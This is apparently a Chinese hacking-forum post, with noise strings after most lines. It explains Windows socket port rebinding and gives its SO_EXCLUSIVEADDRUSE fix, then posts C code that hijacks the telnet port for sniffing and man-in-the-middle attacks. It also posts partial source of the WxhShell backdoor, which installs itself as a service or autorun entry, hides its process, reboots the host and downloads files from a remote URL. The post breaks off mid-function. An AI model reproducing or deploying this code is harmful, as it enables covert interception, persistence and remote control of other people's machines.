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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #w{`6}p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gT)(RS`_)  
uN%Cc12  
  saddr.sin_family = AF_INET; vpu#!(N  
Ik:G5m<ta  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `c Gks  
I-#!mFl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u+)!C*ho  
?@"@9na  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =Vg~ VD   
yq~  
  这意味着什么?意味着可以进行如下的攻击: r^,_m,s'<  
b<u\THy#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Vl5r~+$|  
%KyZ15_(-L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %xgP*%Sv2  
4&*lpl*N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y_WC"  
<-`bWz=+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ufL,K q4  
\]x`f3F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3! P^?[p3  
zdP?HJ=F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SgU@`Pb  
+Y?Tri  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -h8mJ D%Oi  
)q$[uS_1[  
  #include A;U c&G  
  #include oiyvKMHz7  
  #include QytO0K5  
  #include    neEqw +#Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #]Vw$X_S  
  int main() X_PzK'#m  
  { yCjc5d|tT  
  WORD wVersionRequested;  <$nPGz)}  
  DWORD ret; Q=Q+*oog  
  WSADATA wsaData; 30h[&Oc  
  BOOL val; amsl>wc!  
  SOCKADDR_IN saddr; U N?tn}`!  
  SOCKADDR_IN scaddr; D4$b-?y  
  int err; Z_ElLY  
  SOCKET s; \%r#>8c8  
  SOCKET sc; r'i99 ~  
  int caddsize; /M5.Z~|/  
  HANDLE mt; &OU.BR >  
  DWORD tid;   -l=C7e  
  wVersionRequested = MAKEWORD( 2, 2 ); %jAc8~vW?  
  err = WSAStartup( wVersionRequested, &wsaData );  U#f*  
  if ( err != 0 ) { I]ej ]46K  
  printf("error!WSAStartup failed!\n"); L`t786 (M  
  return -1; dO D(<  
  } lr&2,p<  
  saddr.sin_family = AF_INET; Md6u4c  
   ~criZI/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4f j}d.?  
orJ|Q3c)d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hTBJ\1 -  
  saddr.sin_port = htons(23); {JWixbA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T)tr"<F5NP  
  { Q}&'1J  
  printf("error!socket failed!\n"); RrLiH>  
  return -1; 8mr fs%_  
  } 6Emn@Mn=  
  val = TRUE; uNf'Zeo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c:${qY:!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rT="ciQ  
  { %\it4 r3  
  printf("error!setsockopt failed!\n"); $I5|rB/4?  
  return -1; &Hw:65O  
  } 51}C`j|V3{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *42KLns  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `_ ^I 2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $ (&uaDYv  
@#wG)TA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y95  #t  
  { eHx {[J?  
  ret=GetLastError(); IiKU =^~w  
  printf("error!bind failed!\n"); B)k/]vz)*D  
  return -1; H8HH) ^  
  } 0o/;cBH  
  listen(s,2); #8d#Jw  
  while(1) E.#JCO|(1  
  { 1mV ' ~W  
  caddsize = sizeof(scaddr); z{.&sr>+v  
  //接受连接请求 qRT5|\l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); # l1*#Z  
  if(sc!=INVALID_SOCKET) ",YNphjAn  
  { ,>6mc=p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \1R*M  
  if(mt==NULL) (ht"wY#T<(  
  { hQ3@CfW  
  printf("Thread Creat Failed!\n"); +46& Zb35  
  break; _WV13pnRu  
  } b?k,_; \  
  } m<Gd 6V5  
  CloseHandle(mt); "P5,p"k:)  
  } :Nz TEK  
  closesocket(s); `~axOp9N  
  WSACleanup(); .9DhD=8aIO  
  return 0; P'}EZ'  
  }   JNU9RxR  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8f,",NCgc  
  { oKRI2ni$j9  
  SOCKET ss = (SOCKET)lpParam; F, =WfM\  
  SOCKET sc; xqT} 9,  
  unsigned char buf[4096]; r 8N<<^  
  SOCKADDR_IN saddr; |$8N*7UD  
  long num; NX8w(~r,:  
  DWORD val; }T%E;m-  
  DWORD ret; 1% @i4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _576Qa'rm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m[ S1  
  saddr.sin_family = AF_INET; a;i} <n7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tm;\m!^X{  
  saddr.sin_port = htons(23); pJ?y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V\Lh(zPt  
  { >U:-U"rA?  
  printf("error!socket failed!\n"); n~,6!S  
  return -1; h\C1:0x{  
  } jxK `ShW=  
  val = 100; HELTL$j,b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M7DoAS{6e  
  { p E1uD4lLb  
  ret = GetLastError(); (>Sy,  
  return -1; 1\jj3Y'i'  
  } JpQV7}$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lfoPFJ Z  
  { hzV%QDUpe  
  ret = GetLastError();  X56.Y.  
  return -1; *{fZA;<R  
  } ubl Y%{"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2%l(qf N9  
  { SM}& @cJ  
  printf("error!socket connect failed!\n"); H2_6m5[&,  
  closesocket(sc); &sq q+&ao  
  closesocket(ss); CS^|="Zs  
  return -1; 787i4h:71  
  } nQw, /L k  
  while(1) (!ud"A|ab4  
  { i;2V   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B(@uJ^N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qE^u{S4Z@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *@ \LS!N  
  num = recv(ss,buf,4096,0); Swv =gu  
  if(num>0) [c>YKN2qa  
  send(sc,buf,num,0); >wV2` 6  
  else if(num==0) ++kVq$9@y  
  break; O|;|7fCB\  
  num = recv(sc,buf,4096,0); T.!.3B$@]  
  if(num>0) .v) A|{:2  
  send(ss,buf,num,0); `?N|{kb  
  else if(num==0) %H"AHkge:a  
  break; mqQ//$Y   
  } 1 RyvPP  
  closesocket(ss); o<S(ODOfi  
  closesocket(sc); n%dh|j2u  
  return 0 ; *xKY>E+  
  } R*"zLJP  
&'5 j!  
Yu9(qRK  
========================================================== (S j?BZjC  
6K.0dhl>`B  
下边附上一个代码,,WXhSHELL H|N,nkhH}  
~:A=o?V2  
========================================================== ~RM_c  
j W|M)[KJN  
#include "stdafx.h" 9&4z4@on  
CJLfpvV  
#include <stdio.h> orF8%  
#include <string.h> |>p?Cm  
#include <windows.h> 62OZj%CXN  
#include <winsock2.h> J16(d+  
#include <winsvc.h> 5,V3_p:)VI  
#include <urlmon.h> z!9w Lo^r  
{Pi]i?   
#pragma comment (lib, "Ws2_32.lib") Gy[m4n~Z5  
#pragma comment (lib, "urlmon.lib") (d5kD#.N  
SR'u*u!  
#define MAX_USER   100 // 最大客户端连接数 c(S66lp  
#define BUF_SOCK   200 // sock buffer >x1?t  
#define KEY_BUFF   255 // 输入 buffer P_c9v/  
n ^C"v6X  
#define REBOOT     0   // 重启 _E[)_yH'-  
#define SHUTDOWN   1   // 关机 h1N{;SWQ  
y}lqF8s  
#define DEF_PORT   5000 // 监听端口 8z"*CJ@  
7gbu7"Qc  
#define REG_LEN     16   // 注册表键长度 ON3~!Q)  
#define SVC_LEN     80   // NT服务名长度 >^KO5N-:4  
z/S}z4o/  
// 从dll定义API a^GJR]] {  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]$WwPDZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @X>Oj.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  Hn,;G`{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +,Z Q( ZW  
z)y{(gR  
// wxhshell配置信息 )1 !*N)$  
struct WSCFG { 1O;q|p'9  
  int ws_port;         // 监听端口 |lf,3/*jDB  
  char ws_passstr[REG_LEN]; // 口令 6M_,4> -  
  int ws_autoins;       // 安装标记, 1=yes 0=no k| ,F/:  
  char ws_regname[REG_LEN]; // 注册表键名 ER$qL"H U  
  char ws_svcname[REG_LEN]; // 服务名 U> 1voc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @ **]o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B"I^hrQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V> @+&q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t2q{;d~.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D j@7vM%_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -]~vE fq+T  
f+W %X  
}; =ET|h}I  
Wi{ jC?2Q  
// default Wxhshell configuration r(cd?sL96R  
struct WSCFG wscfg={DEF_PORT, n[`FoY  
    "xuhuanlingzhe", <-m[0zg q  
    1, 3N5b3F  
    "Wxhshell", 'e06QMp@  
    "Wxhshell", C.;H?So(  
            "WxhShell Service", G$$y\e$  
    "Wrsky Windows CmdShell Service", R<x~KJ11c  
    "Please Input Your Password: ", pbePxOG  
  1, =?g B@vS  
  "http://www.wrsky.com/wxhshell.exe", OB5`a,5dI  
  "Wxhshell.exe" 6` @4i'.  
    }; dBMr%6tz  
r5g:#mF"  
// 消息定义模块 J PK( S~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <C,lHt  
char *msg_ws_prompt="\n\r? for help\n\r#>";  - }9a%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &C=[D_h  
char *msg_ws_ext="\n\rExit."; ^8eu+E.{  
char *msg_ws_end="\n\rQuit."; [kyIF\0  
char *msg_ws_boot="\n\rReboot..."; aaM76;  
char *msg_ws_poff="\n\rShutdown..."; 6#/v:;bF  
char *msg_ws_down="\n\rSave to "; f+ Ht  
W #kOcw  
char *msg_ws_err="\n\rErr!"; FpM0%   
char *msg_ws_ok="\n\rOK!"; _B5v&# h(.  
`z{sDe;  
char ExeFile[MAX_PATH]; m_g2Cep  
int nUser = 0; 3=~0m  
HANDLE handles[MAX_USER]; Sr?2~R0&  
int OsIsNt; HTU?hbG(  
ev;R; 0<  
SERVICE_STATUS       serviceStatus; 7awh__@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V1Opp8  
)Cfk/OnRd  
// 函数声明 %d#h<e|,.  
int Install(void); -kz9KGkPb+  
int Uninstall(void); U}2b{  
int DownloadFile(char *sURL, SOCKET wsh); %^CoWbU  
int Boot(int flag); -'mTSJ.}  
void HideProc(void); z->[:)c  
int GetOsVer(void); ruQ1Cph  
int Wxhshell(SOCKET wsl); qz<>9n@o  
void TalkWithClient(void *cs); OkaN VTB  
int CmdShell(SOCKET sock); YA[\|I33  
int StartFromService(void); V 0M&D,  
int StartWxhshell(LPSTR lpCmdLine); V*1hoC#  
aBonq]W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .>Fy ]Cqoh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r0 fxEYze&  
Q=~ *oYR  
// 数据结构和表定义 7)#8p @Q  
SERVICE_TABLE_ENTRY DispatchTable[] = jZ\a:K?  
{ Qaeg3f3F3  
{wscfg.ws_svcname, NTServiceMain}, .Do(iYO.L  
{NULL, NULL} `8sC>)lrwu  
}; kI|7o>}<   
/pS Y~*  
// 自我安装 + #V.6i  
int Install(void) r?j2%M\  
{ EYD24  
  char svExeFile[MAX_PATH]; r(VznKSx  
  HKEY key; gJC~$/2  
  strcpy(svExeFile,ExeFile); -L&%,%  
3BzC'nplm  
// 如果是win9x系统,修改注册表设为自启动 9`X}G`  
if(!OsIsNt) { 7`_`V&3s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :[C"}m R1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p.|NZXk%%a  
  RegCloseKey(key); V>Vu)7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X&14;lu%p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g<(\#F}/  
  RegCloseKey(key); JRYCM}C]  
  return 0; FZ~^cK9g:  
    } P")1_!  
  } |.EC>D /  
} &kp`1kv":  
else { ]oIP;J:&  
aoP=7d|K/  
// 如果是NT以上系统,安装为系统服务 2M o oqJp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O; #qG/b1  
if (schSCManager!=0) \\UOpl  
{ =d M'n}@U  
  SC_HANDLE schService = CreateService &b:SDl6  
  ( 64R~ $km  
  schSCManager, ly~tB LH}  
  wscfg.ws_svcname, 1@S(v L3a  
  wscfg.ws_svcdisp, Xdtyer%  
  SERVICE_ALL_ACCESS, D(&XmC[\Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rctGa ,l  
  SERVICE_AUTO_START, _my!YS5n  
  SERVICE_ERROR_NORMAL, !}pvrBS  
  svExeFile, ews{0  
  NULL, nc/F@HCB  
  NULL, V krjs0  
  NULL, gHmy?+)  
  NULL, &cHA xker  
  NULL UsQh+W"?  
  ); o<8SiVC2  
  if (schService!=0) %("WoBPH`  
  { MlH0  
  CloseServiceHandle(schService); 6O0CF}B*  
  CloseServiceHandle(schSCManager); VteMsL/H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YM.Q?p4g  
  strcat(svExeFile,wscfg.ws_svcname); N,ysv/zq7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @b{I0+li"/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6s(.u l  
  RegCloseKey(key); %&}gt+L(M  
  return 0; w6&p4Jw/H?  
    } C=,O'U(ep  
  } m[8?d~  
  CloseServiceHandle(schSCManager); oj%(@6L  
} (F=q/lK$  
} *pj^d><  
:xy4JRcF  
return 1; i!u:]14>  
} mGP&NOR0^y  
>\4"k4d}  
// 自我卸载 Bh ,GQHJ  
int Uninstall(void) X-k$6}D  
{ Mp,aQ0bNS  
  HKEY key; ag{cm'.  
caD)'FSES  
if(!OsIsNt) { bSgdVP-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $*q^7ME  
  RegDeleteValue(key,wscfg.ws_regname); )y"8Bx=x4  
  RegCloseKey(key); UR<a7j"@2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AXT(D@sI=  
  RegDeleteValue(key,wscfg.ws_regname); 2C[xrZa^  
  RegCloseKey(key); o_R_  
  return 0; .{,fb  
  } ,0\P r  
} 4D=^24f`0  
} Aw"Y_S8.  
else { v4Mn@e_#c  
Q|7l!YTzVu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); khe.+Qfgj  
if (schSCManager!=0) &3CC |  
{ -F`uz,wZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K.r "KxCm|  
  if (schService!=0) SbK6o:[  
  { =QS%D*.|D  
  if(DeleteService(schService)!=0) { "(+p1  
  CloseServiceHandle(schService); |] cFsB#G  
  CloseServiceHandle(schSCManager); D*}_L   
  return 0; 7 V3r!y  
  } KvY1bMU!  
  CloseServiceHandle(schService); *|Bt!  
  } n7VQi+i'  
  CloseServiceHandle(schSCManager); Z# o;H$  
} 8Os: SC@Q  
} wn/Y 5   
'y%*W:O  
return 1; sg%Ptp  
} N:~CN1  
( 8Q*NZ  
// 从指定url下载文件 `"h[Xb#A`b  
int DownloadFile(char *sURL, SOCKET wsh) IutU ~%wv  
{ /zg|I?$>Z4  
  HRESULT hr; 8>AST,  
char seps[]= "/"; V(wANvH  
char *token; 0x,NMS  
char *file; hQ\W~3S55  
char myURL[MAX_PATH]; HApjXv!U[  
char myFILE[MAX_PATH]; 5ggsOqH  
U#g ,XJ  
strcpy(myURL,sURL); v ocWV/  
  token=strtok(myURL,seps); i{biQ|,.sL  
  while(token!=NULL) <`")Zxf+  
  { &`I7aP|  
    file=token; #u/5 nm  
  token=strtok(NULL,seps); s`I]>e  
  } <~ }NxY\5  
R "qt}4m  
GetCurrentDirectory(MAX_PATH,myFILE); cm17hPe`}n  
strcat(myFILE, "\\"); e N^6gub  
strcat(myFILE, file); ;5&=I|xqe  
  send(wsh,myFILE,strlen(myFILE),0); S+7u,%n/  
send(wsh,"...",3,0); /Y0oA3am  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @TvDxY1)6Z  
  if(hr==S_OK) ('1]f?:M  
return 0; "'*Qq@!3?  
else Wxa</n8S[n  
return 1; Nq"J[l*+g  
-)9aY.  
} 0mR^%+~  
FO{?Z%& ;  
// 系统电源模块 9}$'q$0R]  
int Boot(int flag) w,1&s}; g\  
{ H8V@KB  
  HANDLE hToken; `=P=i>,  
  TOKEN_PRIVILEGES tkp; X?++I 4\  
f,'^"Me$c  
  if(OsIsNt) { CZDWEM}   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b^R_8x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :0'vzM  
    tkp.PrivilegeCount = 1; #tN!^LLi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aSt:G*a"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %*];XpAE  
if(flag==REBOOT) { CPci 'SO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g_;4@jwTP"  
  return 0; !0X/^Xv@=  
} #b>D^=NV>)  
else { tvcM< e20  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D]?yGI_  
  return 0; mGh8/Xt  
} /3j3'~0  
  } s[Whg!2~  
  else { z<OfSS_]R  
if(flag==REBOOT) { GQ6~Si2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #'8'5b  
  return 0; ~n;U5hcB  
} O"9Or3w  
else { Bmv5yc+;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |h-e+Wh1  
  return 0; @+yjt'B  
} 8fA8@O}  
} ( 9(NP_s  
 :X 9_~  
return 1; md;jj^8zj  
} Bk@&k}0  
@dc4v_9  
// win9x进程隐藏模块 {r?+PQQ#  
void HideProc(void)  L0>7v  
{ WZ N0`Od  
Ntlbn&lc;D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i|!W;2KL5  
  if ( hKernel != NULL ) q"VC#9 7`  
  { @me ( pnD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6+/BYN!&4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZVDi;   
    FreeLibrary(hKernel); #D^( dz*  
  } 1AQ3<  
$GQ{Ai:VwF  
return; #&sn l  
} Lklb  
C ett*jm_  
// 获取操作系统版本 ]F sr k  
int GetOsVer(void) 8TCbEPS@Q  
{ ZM_-g4[H  
  OSVERSIONINFO winfo; FDTC?Ii O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $k^& X `  
  GetVersionEx(&winfo); =\g K<Xh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^C~t)U  
  return 1; ;aDYw [  
  else ?i$MinK  
  return 0; @=qWwt4~  
} K~A@>~vFb  
%<\tN^rP  
// 客户端句柄模块 Id{Ix(O  
int Wxhshell(SOCKET wsl) [ Q[ac 6f  
{ rTzXRMv@o  
  SOCKET wsh; QeQxz1  
  struct sockaddr_in client; z'}z4^35,  
  DWORD myID; @+hO,WXN  
]u47]L#  
  while(nUser<MAX_USER) &/$3>MD2`  
{ .NMZHK?%  
  int nSize=sizeof(client); TRFza}4:i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $?y\3GX  
  if(wsh==INVALID_SOCKET) return 1; uo3o[ H&#  
V Ku|=m2vB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); USV;j%U4*  
if(handles[nUser]==0) a 1~@m[  
  closesocket(wsh); bdj')%@n  
else * & : J  
  nUser++; W.> }5uVl6  
  } Vo9Fl Yj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h%&2M58:  
oiItQ4{<  
  return 0; PDb7h  
} 8xx2+  
-932[+  
// 关闭 socket ; g\r Y  
void CloseIt(SOCKET wsh) {i)FDdDGD  
{ ~Hvf"bvK|  
closesocket(wsh); K QCF "  
nUser--; &X)^G#  
ExitThread(0); <AB({(  
} 5 ~YaXh^  
.2SD)<}(9  
// 客户端请求句柄 aPHNX)  
void TalkWithClient(void *cs) sM@1Qyv&0  
{ c.uD%  
xd!GRJ<I  
  SOCKET wsh=(SOCKET)cs; "(yw(/  
  char pwd[SVC_LEN]; p5#UH  
  char cmd[KEY_BUFF]; E2Ec`o  
char chr[1]; jBJ|%K M  
int i,j; s}?QA cC  
8[x{]l[  
  while (nUser < MAX_USER) { rGQY  
v4r%'bA  
if(wscfg.ws_passstr) { ms#|Y l1/|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I]Vkaf I>(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r^`~GG!,Q  
  //ZeroMemory(pwd,KEY_BUFF); _^p\ u  
      i=0; "T.Qb/97@  
  while(i<SVC_LEN) { @UW*o&pGqL  
( #rhD}  
  // 设置超时 U?j[ 8z  
  fd_set FdRead; c Sktm&SP  
  struct timeval TimeOut; 5 &s<&h  
  FD_ZERO(&FdRead); +krDmU9(  
  FD_SET(wsh,&FdRead); [N0"mE<  
  TimeOut.tv_sec=8; (4IH%Ez){  
  TimeOut.tv_usec=0; A5,(P$@ k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s[}cj+0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;& zBNj  
?;DzWCL~9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hzrS_v  
  pwd=chr[0]; '19kP.  
  if(chr[0]==0xd || chr[0]==0xa) { A:V/i:IZfR  
  pwd=0; Q6d>tqWhq  
  break; ?, cI!c`  
  } p;)@R$*  
  i++; VTn6@z_ x  
    } h 2C9p2.  
>Slu?{l'  
  // 如果是非法用户,关闭 socket YT<(2u#Ng  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O[R   
} Z>hGqFZ0{  
7%i6zP /a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8 )= "Ee  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cf3<;Mp<  
-o YJ&r  
while(1) { 9O-*iK  
Rzxkz  
  ZeroMemory(cmd,KEY_BUFF); IaGF{O3.  
59k-,lyU,  
      // 自动支持客户端 telnet标准   TJs~}&L  
  j=0; {#&jW  
  while(j<KEY_BUFF) { g]U! ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FIpJ>E"n  
  cmd[j]=chr[0]; $aj:\A0f  
  if(chr[0]==0xa || chr[0]==0xd) { }PzHtA,V  
  cmd[j]=0; 'Xg9MS&  
  break; ,<fs+oi  
  } -{ Fy@$!  
  j++; #z9@x}p5g  
    } TlJ'pG 4^  
+kT o$_Wkz  
  // 下载文件 7QHrb'c  
  if(strstr(cmd,"http://")) { o.])5i_HV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Y%E.){  
  if(DownloadFile(cmd,wsh)) %R?#Y1Tq;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3.@ir"vy  
  else j\2q2_f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Nu:{_YoP  
  } K<fB]44Y  
  else { 'V} 4_3#q  
9tIE+RD  
    switch(cmd[0]) { j_}f6d/h  
  7?2<W-n  
  // 帮助 d2*uY.,  
  case '?': { J;Eg"8x]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g>-u9%aa  
    break; Yn8aTg[J  
  } !6eF8T  
  // 安装 U9h@1:  
  case 'i': { Sxc p [g;  
    if(Install()) pGsu#`t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mh8)yy5\  
    else k Hh0&~ (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Dys#^  
    break; ]gmkajCzD  
    } xd^9R<  
  // 卸载 og|~:>FmJo  
  case 'r': { o<!tN OH  
    if(Uninstall()) YT)@&HaF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lVS.XQ2<  
    else 'E%+ O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;a`I8Fj  
    break; DTC OhUIV  
    } m]/s R3yF  
  // 显示 wxhshell 所在路径 =xM:8 hm  
  case 'p': { n4/Jx*  
    char svExeFile[MAX_PATH]; hmJa1fw=  
    strcpy(svExeFile,"\n\r"); }M~[8f ]  
      strcat(svExeFile,ExeFile); ? 9;r|G  
        send(wsh,svExeFile,strlen(svExeFile),0); A(wuRXnVWK  
    break; !k8j8v&  
    } M[?0 ^ FBx  
  // 重启 dU#} Tk  
  case 'b': { y\<\P8X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Og(|bs!6  
    if(Boot(REBOOT)) U$j?2|v-x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B#[.c$  
    else { LRv[,]b  
    closesocket(wsh); P#qQde/y  
    ExitThread(0); '~[JV>5  
    } %Su,  
    break; N m@UM*D  
    } $@<cZ4  
  // 关机 Pa */&WeB  
  case 'd': { B^"1V{M  
